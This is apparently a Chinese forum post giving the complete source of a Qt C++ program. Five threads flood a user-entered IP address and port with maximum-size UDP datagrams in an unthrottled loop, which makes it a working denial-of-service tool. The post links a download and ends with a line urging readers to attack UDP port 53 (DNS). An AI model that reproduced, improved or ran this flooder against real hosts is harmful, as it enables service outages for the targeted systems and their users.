Qt 代码包 https://download.csdn.net/download/nn_84/88830445
dialog.h :
#ifndef DIALOG_H
#define DIALOG_H
#include <QDialog>
#include <mythread.h>
QT_BEGIN_NAMESPACE
namespace Ui {
class Dialog;
}
QT_END_NAMESPACE
class Dialog : public QDialog
{
Q_OBJECT
public:
Dialog(QWidget *parent = nullptr);
~Dialog();
mythread thread1;
mythread thread2;
mythread thread3;
mythread thread4;
mythread thread5;
private slots:
void on_pushButton_1_clicked();
void on_pushButton_clicked();
private:
Ui::Dialog *ui;
};
#endif // DIALOG_H
mythread.h :
#ifndef MYTHREAD_H
#define MYTHREAD_H
#include <QObject>
#include <QThread>
#include <QDebug>
#include <QUdpSocket>
#include <QByteArray>
class mythread : public QThread
{
Q_OBJECT
public:
mythread();
QString name;
bool boolvalue;
QByteArray buffer;
QUdpSocket *socket;
QString address;
QString port;
public slots:
void run ();
};
#endif // MYTHREAD_H
dialog.cpp :
#include "dialog.h"
#include "ui_dialog.h"
Dialog::Dialog(QWidget *parent)
: QDialog(parent)
, ui(new Ui::Dialog)
{
ui->setupUi(this);
thread1.boolvalue = false;
thread2.boolvalue = false;
thread3.boolvalue = false;
thread4.boolvalue = false;
thread5.boolvalue = false;
}
Dialog::~Dialog()
{
delete ui;
}
void Dialog::on_pushButton_1_clicked()
{
thread1.boolvalue = true;
thread1.name = "1";
thread1.address = ui->lineEdit->text();
thread1.port = ui->lineEdit_2->text();
thread1.start();
thread2.boolvalue = true;
thread2.name = "2";
thread2.address = ui->lineEdit->text();
thread2.port = ui->lineEdit_2->text();
thread2.start();
thread3.boolvalue = true;
thread3.name = "3";
thread3.address = ui->lineEdit->text();
thread3.port = ui->lineEdit_2->text();
thread3.start();
thread4.boolvalue = true;
thread4.name = "4";
thread4.address = ui->lineEdit->text();
thread4.port = ui->lineEdit_2->text();
thread4.start();
thread5.boolvalue = true;
thread5.name = "5";
thread5.address = ui->lineEdit->text();
thread5.port = ui->lineEdit_2->text();
thread5.start();
}
void Dialog::on_pushButton_clicked()
{
thread1.boolvalue = false;
thread2.boolvalue = false;
thread3.boolvalue = false;
thread4.boolvalue = false;
thread5.boolvalue = false;
}
mythread.cpp :
#include "mythread.h"
mythread::mythread()
{
socket = new QUdpSocket(this);
}
void mythread::run()
{
for(int i=0;i<65507;i++)
{
buffer.append("a");
}
while(boolvalue){
socket->writeDatagram(buffer,QHostAddress(address),port.toInt());
}
}
.pro :
QT += core gui network
greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
CONFIG += c++17
# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0
SOURCES += \
main.cpp \
dialog.cpp \
mythread.cpp
HEADERS += \
dialog.h \
mythread.h
FORMS += \
dialog.ui
# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target
嘿 大家知道 攻击哪个端口吗 53 53 53 记住 udp 53端口